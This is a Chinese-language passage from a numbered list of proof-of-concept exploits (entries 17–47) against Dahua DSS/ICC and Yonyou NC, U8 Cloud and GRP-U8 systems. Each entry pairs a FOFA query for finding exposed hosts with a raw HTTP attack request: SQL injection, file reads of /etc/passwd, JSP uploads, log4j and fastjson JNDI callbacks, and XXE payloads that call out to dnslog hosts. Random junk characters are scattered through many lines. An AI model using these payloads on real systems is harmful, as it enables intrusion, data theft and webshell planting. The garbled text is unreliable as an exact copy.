poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
" ?7 p7 \5 ^$ @/ b1 [1 dUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
) G1 I3 [) C0 O' \4 Y: ~  L* F

17. 大华 DSS itcBulletin SQL 注入
1 L8 i2 l0 ^# I5 @9 jFOFA：app="dahua-DSS"
0 c2 J) G7 b) n8 ^) c- ePOST /portal/services/itcBulletin?wsdl HTTP/1.1
% j/ K4 f7 H& n9 u; w2 J4 ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; `* h: L& r+ tConnection: close
2 p  [' @: ]% w  XContent-Length: 345
Accept-Encoding: gzip
7 Q: g% Z7 `8 ?
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
5 S- H/ z  w# |! x5 j0 P3 ^" G<s11:Body>
( O3 D1 O1 C. s: a    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
( s& Z/ b( W+ f9 y8 S0 _% [      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
( `# a2 F- H& E4 M- m* n7 h

" n( q' g. ~+ Z9 N( s6 H' p18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
3 P  N7 @1 s0 Z/ c* D* ^* _GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
' S$ x7 B( T# K, T2 u5 ZHost: your-ip
5 O) {1 c! L* [; `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
( H: V( t. N; {) q# X$ a; OConnection: keep-alive
3 {) l# b  l1 Y1 O8 E+ i
. \+ y9 h% D" ?, T
% R1 W) _3 ?6 A+ |
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
/ D) ~( J% D& J0 u. ZGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
" k/ _2 S1 \' P( f( \Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
' W  g! V/ c9 e3 i% y/ S% G2 }1 s& XAccept: */*
+ R- i6 C  g% p/ [3 }( OConnection: keep-alive


20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
0 D+ s3 q0 l" u) O! S6 E4 MGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
% _, Y3 @4 b5 |$ g+ oHost: x.x.x.x
1 L8 ?$ Z; q  J0 Y/ z) J) f3 RUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
. {2 g1 \6 D* u) V* RAccept: */*
Accept-Language: en
Accept-Encoding: gzip
" ^# a' r# Q1 @

21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
3 w/ v+ \# W; p9 _  r" ?+ Y+ b" f9 fPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8

{
; d1 s, C# G1 K  ?8 b  o"a":{
% |- N. c' \# @" v4 b3 g* M7 \, T   "@type":"com.alibaba.fastjson.JSONObject",
9 T1 O; Y1 T; U* @3 Q* Q$ J' ~    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
7 k! {; ~* t7 M}

2 w  O' `- `) x& b7 `
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
2 N- z' ?" u  {4 `( z/ jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

{
- F2 i/ y# V7 J"loginName":"${jndi:ldap://dnslog}"
/ z$ L3 l, h/ I2 m}



1 a9 W3 X4 Y& [, B23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
( i2 |9 H2 H( Z# Y7 GHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

+ t. X: _% ~4 N% |6 d{
" Q8 j0 y) h4 t$ M    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}

$ e" K7 E0 i' g( o$ Z
1 v1 I. u# Y6 Y8 W6 m. J- `3 P24. 用友NC 6.5 accept.jsp任意文件上传
FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
  m- P0 g6 d- ?% A1 ZHost: x.x.x.x
% [. X9 U! N( h5 i9 Q+ p9 r9 T' w# _0 vUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
% w  s( ]4 ~/ x' z& g2 ~1 P/ fContent-Length: 449
Accept: */*
, g; f9 y4 x6 t0 S( ZAccept-Encoding: gzip
8 X( P  D5 }# b4 {* ]: \Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
. @& Z% ~6 e+ ?2 P' _5 LContent-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
0 @8 m1 u  V' ~, A6 \) \9 ^8 l
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
& o; u' Z: r1 J7 h5 p. J2 M

- i. e8 _& r' B$ ?25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
- F5 Q! p% O: f/ G" N( h5 L6 MPOST /portal/registerServlet HTTP/1.1
1 Y3 X2 X! o: J$ gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
3 O' j- f! n/ c% ?$ _& |0 EAccept-Encoding: gzip, deflate
- r# M$ h; f" h  pAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
; d7 @) |" i; u5 d, t8 n
% s2 s) t$ o( D) `' {- |type=1&dsname=ldap://dnslog
8 K% a) ]% m( w% g+ O3 U

8 v* p9 {1 b/ m) G
$ \) H$ v$ v+ x26. 用友NC linkVoucher SQL注入
, S* ?$ {3 x( w( w) @FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
0 k" G# C" K! X/ R3 p/ |' bAccept-Encoding: gzip, deflate
2 a& h8 `: l% m7 KAccept: */*
Connection: keep-alive
0 R$ K5 f7 P$ s9 J- C( Z+ \

27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
8 q& v; q( `, A0 Z5 i  yHost: your-ip
6 ]' k: N( w! X% X- b4 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
1 w% P- K% ?. {Connection: close
Content-Type: text/xml; charset=utf-8
9 Y: N7 r7 h) }" F, z2 x- W
2 m( G! s4 f0 h
, T) i2 _: ]4 Q% O9 _1 L: o* o28. 用友NC grouptemplet 任意文件上传
' X  x/ v2 m$ J1 l. o# H7 aFOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
2 b4 M9 M+ R+ Y7 bConnection: close
5 C. r: x$ y3 o6 Q: DContent-Length: 268
% Q) e' N7 M. Y% hContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
- u* e) p. [# {  W2 ^5 C7 O% e
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
: d" P. A6 Y3 k# |Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
5 V2 |& m" \! r7 O- ?# h
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
' p- K( {" h  ^" q

/uapim/static/pages/nc/head.jsp
) ^4 R7 U# H) [: Y; R2 t
, S) z6 w  p3 ~; K9 U# A29. 用友NC down/bill SQL注入
2 m0 ]# e6 j! z# T6 KFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
6 }( k$ X' a  h6 Z' RGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
! z1 O3 t7 q: p4 u9 dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
. F! C* m$ h/ S7 m* M3 O' t: NAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
$ q' `, B( \9 N$ c, PPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
4 W7 i* W* c& A) f7 L0 P; O9 i  v, BContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
5 b  _  z) C2 S- N/ xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
$ X8 J9 G$ G/ s8 H/ e9 pConnection: close

9 c% I5 y( a* g8 Z% a; Z9 u# {3 K' E------WebKitFormBoundaryH970hbttBhoCyj9V
! O3 }/ W3 f/ o9 V& Q0 X1 c, _2 lContent-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
. L1 ^( A# D+ ]

31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
0 `5 ~$ F% v9 ]" N: o2 NGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
/ l7 h' ]1 V5 X7 l+ F/ v4 x% n( C
) ^6 w+ e  `+ n! k2 X, h. B
32. 用友NC complainbilldetail SQL注入
4 ?. g) c5 [5 ?( l1 Nversion= NC633、NC65
6 G+ f  M. A" v1 N" |FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
1 b$ U+ x% B1 J9 E. C* @- e8 OHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
1 |- _7 o! O$ \8 h8 U* j$ aAccept-Encoding: gzip, deflate
9 I1 ~0 p( b: S; Q' |Accept: */*
6 Y  y$ u/ m. z6 JConnection: keep-alive


33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
% j* E7 v+ F8 X) yGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
. ~/ n( p# z7 A2 _6 E6 }) Y6 g+ G- ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 B8 \) @  p, @% U3 dContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
0 y( C! v# ], m7 H: U) JAccept: */*
Connection: keep-alive
' k" P( d9 I  b/ D1 k
1 M% H9 M& W/ H' q* Z. E9 K
( p9 f  n. M, C; E34. 用友NC warningDetailInfo接口SQL注入
+ C: N2 V/ |. p6 {FOFA：app="用友-UFIDA-NC"
$ I, ~- H6 R4 s' IGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
7 H+ q& {0 Z! KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 [! ?5 u- Q2 a0 X4 fContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
6 T2 L3 ]* j( d! e3 l' ?. fAccept: */*
- S3 y5 J# T# o# ^0 ^Connection: keep-alive
5 L' C8 u& v2 c% S, l$ ?

/ V7 g. u) L; u) p) D35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
' ]6 G6 M# o% IPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
% H. D2 l1 x1 u+ E5 g4 P1 {( x& V9 nHost: 203.25.218.166:8888
2 U+ `" D. @9 B- j7 r9 V0 `User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
6 a# Y0 P2 ~1 d$ a! M3 h4 h) JConnection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
4 Z' F1 s* F- m5 g' F3 X/ o( CContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

4 f- `9 y4 c9 E1 d! H--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

1 F7 g5 w* ]" p" _9 O- K, T. z2 f2 q<%out.println(1111*1111);%>
5 q4 G3 F  H6 J3 ]) [--fd28cb44e829ed1c197ec3bc71748df0--


36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
; V( T) U( q9 v$ TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
7 T8 a6 ?' c1 o& w& X* o* `Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
8 t! I6 y- a2 W7 `; J, k5 w( Z' V
# C( u' ?! B9 xmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
' [- f* S1 ~3 ]) F& Y$ C

+ @2 b2 l) r, J7 L37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
4 S2 o5 U- y0 QPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
8 u: u3 |& W5 P7 F$ X! eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
- Z" \7 A6 B+ W5 i; }  j! {SOAPAction: urn:getResult
$ v  B! t$ [! T+ iUpgrade-Insecure-Requests: 1
: F# j; m5 _/ N( z% d* @4 x, x/ l
& m3 Y" O+ {* I* A" y' h( v  K, x<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
& u  W- M4 L( B<soapenv:Header/>
. `1 V$ D& Y. D+ Q5 E0 N<soapenv:Body>
<iup:getResult>
7 E! ]$ {/ W/ w3 E; F3 P& w- R: y) Z<!--type: string-->
<iup:string><![CDATA[
6 N+ u7 w3 `- K: |. p/ `<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
. @/ C: T: m; z6 Q: {</iup:getResult>
' B& }/ d, U7 A</soapenv:Body>
; ~1 u9 N7 Q6 K7 g</soapenv:Envelope>
1 h$ Y4 L: j0 R. f

; e. U$ o6 j6 U+ `; V1 K1 d, V
" ]$ u3 O6 L7 b$ I# R/ J5 o# i38. 用友U8 Cloud smartweb2.RPC.d XXE
9 G* u% g- N( a; V" NFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
8 d  T: T) O9 I) a/ m9 t, ]6 \7 XHost: 192.168.40.131:8088
, t' e" B6 i. m3 A  c; [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
6 ^8 }6 m: u' f+ ~! tContent-Length: 260
' o4 c  j7 I3 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
( l" X* v* V3 n4 hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ T. y1 v1 v9 W& b) I3 t# J# e( gConnection: close
3 v- b/ H% f  S$ L! XContent-Type: application/x-www-form-urlencoded
, p7 X% U- @& Y/ t. x. u8 w
( I- ?' J3 T' g% w2 @& c- f3 ^__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
# ?' W% ~# U8 n' U. iFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
: t0 H% E/ N/ w2 C; ^2 y+ `1 z3 N7 xAccept: */*
* h/ M& ~& N1 q# M/ V8 C* Z+ v1 ~Accept-Language: en
Content-Type: application/x-www-form-urlencoded
& M2 r; f6 l! g& B' o6 SX-Forwarded-For: 127.0.0.1
8 ^) _  M3 G* a" XAccept-Encoding: gzip

usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

  W) {9 |: z! ?5 e, a9 I  X2 V
40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
" d  h, r* P9 m# WUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
  d9 ?4 f7 K* _: E" MContent-Type: text/xml
- m% K9 A1 }9 v1 Q) c+ TConnection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


7 q4 B3 X# W) i- h41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
9 S! i6 X& Y2 L3 W% i$ N; k4 D* DFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
$ F' W0 C7 @. Y- @1 P/ GHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 o+ i7 F7 C' c/ k; ?Content-Type: application/json
Accept-Encoding: gzip
Connection: close


42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
+ w1 \9 j, a3 X. i( WHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
7 y! a% |: k5 t8 k7 U  E1 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
, \5 d4 O5 u) t. f
PAYLOAD

0 ?; \; r" P+ P0 Z7 n* {) A& V+ B" e! f
+ p6 W$ [( F) \http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
  I2 [' D3 l% m( z5 G2 j  u3 a
. d! f: y$ D0 y; n( R+ k+ F2 _& u( _43. 用友GRP-U8 userInfoWeb SQL注入致RCE
9 D4 a, L  _% E9 y+ J7 u3 oFOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
- T& x# A) V& T, D# ?. [$ X" {Host: your-ip
  U: ^1 W% g3 y% Q% ~$ }2 y: A9 WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
- G# |: {9 u, i/ y, NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 S! E1 Y+ W% }Accept-Encoding: gzip, deflate
  a. @9 z& @3 [' S5 G0 }Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
) O% X% d1 [' j
7 I) {! V! f1 E+ v3 T+ I; |4 E. O( C<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
- W, }- d# p& L, }; P: b" m. W. e   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
/ j0 }" ^8 q5 p! [$ s' g& A( k         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
3 f1 c9 G3 s; h) l; v   </soapenv:Body>
' G- L7 s: V, L- f! H</soapenv:Envelope>


44. 用友GRP-U8 bx_dj_check.jsp SQL注入
  J9 q  l, v' ~FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
$ _% s. q3 L6 M5 ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
/ Y+ H" g: }' a4 l/ f% L) sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 H; T# {$ e; C& }8 CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" K" O$ f' t! g) n/ \Connection: close

+ P2 E8 C( `9 {5 m: V7 r
* q. H/ f8 {, B* T5 h7 i5 ]45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
8 b& Z+ i% d; `& ^  G1 KHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
1 b$ I( @4 G1 ~/ aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, [! o; q7 Q" B3 ]( ^9 YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 x& z2 I  B, I/ J$ g7 z7 }1 uContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
/ P" E% h7 p  G
reqData=<?xml version="1.0"?>
; T! {* C7 C) o% T9 N<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
! F' T7 ~1 i2 ?0 Z9 s' l' ]* M6 T! s
# U! L2 T- F7 S. F* k4 J
) b$ y7 w( R4 [- k6 }4 n46. 用友GRP-U8 sqcxIndex.jsp SQL注入
( y, o9 ?. V  U: v! TFOFA：app="用友-GRP-U8"
: k# E  i. m% A. D# Q8 k& ^, TGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
' f! ]$ ]$ X+ f( Q2 B4 ?7 ?% h. PHost: your-ip
( Z& P8 c9 Y/ N1 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
( f1 V* K, {& C2 K# gAccept-Language: zh-CN,zh;q=0.9
Connection: close

! P2 C9 a/ a" I$ Y* S$ W4 T
- j7 V5 A8 d9 D47. 用友GRP A++Cloud 政府财务云 任意文件读取
4 i/ l( f, `7 R8 j$ VFOFA：body="/pf/portal/login/css/fonts/style.css"
. O3 q# V8 {* ~) J0 u! fGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
) g5 q0 `* D: v* I3 ?Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
